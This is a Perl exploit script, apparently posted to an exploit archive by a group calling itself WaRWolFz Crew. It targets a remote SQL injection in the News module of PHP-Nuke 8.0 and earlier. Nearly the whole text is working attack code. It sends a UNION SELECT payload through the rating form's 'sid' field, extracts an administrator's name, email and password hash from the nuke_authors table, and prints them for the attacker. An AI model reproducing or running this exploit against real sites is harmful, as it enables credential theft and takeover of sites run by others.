PHP-Nuke 8.0 News SQL Injection

`#!/usr/bin/perl  
#[0-Day] PHP-Nuke <= 8.0 (News) Remote SQL Injection Exploit  
#Created: 2010.04.23 after 3 days the bug was discovered.  
#Author/s: Dante90 & The:Paradox, WaRWolFz Crew  
#Crew Members: 4lasthor, Andryxxx, Cod3, Gho5t, HeRtZ, N.o.3.X, RingZero,  
s3rg3770, Shades Master, The:Paradox, V1R5, yeat  
#Web Site: www.warwolfz.org  
  
use strict;  
use warnings;  
  
use LWP::UserAgent;  
use HTTP::Cookies;  
use HTTP::Headers;  
  
my $UserName = shift or usage();  
my $HostName = "http://www.victime_site.org/path/"; #Insert Victime Web Site  
Link  
  
my $Method = HTTP::Request->new(POST => $HostName.'modules.php?name=News');  
my $Cookies = new HTTP::Cookies;  
my $UserAgent = new LWP::UserAgent(  
agent => 'Mozilla/5.0',  
max_redirect => 0,  
cookie_jar => $Cookies,  
default_headers => HTTP::Headers->new,  
) or die $!;  
my $Referrer = "sid=Dante90, WaRWolFz Crew  
http://www.warwolfz.org/&op=rate_complete&score=1";  
  
sub SQL_Injection{  
my ($Victime) = @_;  
return "-2' UNION#\n SELECT  
CONCAT_WS(CHAR(32,58,32),`aid`,`name`,`email`,`pwd`) FROM `nuke_authors`  
WHERE `aid`='${Victime}'-- ";  
}  
  
$Method->referer($HostName.'modules.php?name=News');  
$Method->content_type('application/x-www-form-urlencoded');  
$Method->content("sid=".SQL_Injection($UserName)."&op=rate_complete&score=1");  
my $Response = $UserAgent->request($Method);  
$Response->is_success or die "$HostName : ",$Response->message,"\n";  
  
if($Response->content =~ /([a-zA-Z0-9-_.]{2,15}) : ([a-zA-Z0-9-_.]{2,15}) :  
([a-zA-Z0-9.@]{1,50}) : ([a-f0-9]{32})/i){  
refresh($HostName, $1, $2, $3, $4);  
print " * Exploit Successfully Executed *\n";  
print " ------------------------------------------------------\n\n";  
system("pause");  
}else{  
refresh($HostName, "", "", "", "");  
print " * Error extracting sensible data.\n";  
print " * Exploit Failed *\n";  
print " ------------------------------------------------------ \n\n";  
}  
  
  
sub usage{  
system("cls");  
{  
print " \n [0-Day] PHP-Nuke <= 8.0 (News) Remote SQL Injection  
Exploit\n";  
print " ------------------------------------------------------ \n";  
print " * USAGE: *\n";  
print " * cd [Local Disk]:\\[Directory Of Exploit]\\ *\n";  
print " * perl name_exploit.pl [username] *\n";  
print " ------------------------------------------------------ \n";  
print " * Powered By Dante90 & The:Paradox, WaRWolFz Crew *\n";  
print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";  
print " ------------------------------------------------------ \n";  
};  
exit;  
}  
  
sub refresh{  
system("cls");  
{  
print " \n [0-Day] PHP-Nuke <= 8.0 (News) Remote SQL Injection  
Exploit\n";  
print " ------------------------------------------------------ \n";  
print " * USAGE: *\n";  
print " * cd [Local Disk]:\\[Directory Of Exploit]\\ *\n";  
print " * perl name_exploit.pl [username] *\n";  
print " ------------------------------------------------------ \n";  
print " * Powered By Dante90 & The:Paradox, WaRWolFz Crew *\n";  
print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";  
print " ------------------------------------------------------ \n";  
};  
print " * Victime Site: " . $_[0] . "\n";  
print " * User ID: " . $_[1] . "\n";  
print " * Username: " . $_[2] . "\n";  
print " * Password: " . $_[4] . "\n";  
print " * E-Mail: " . $_[3] . "\n";  
}  
  
#WaRWolFz Crew  
`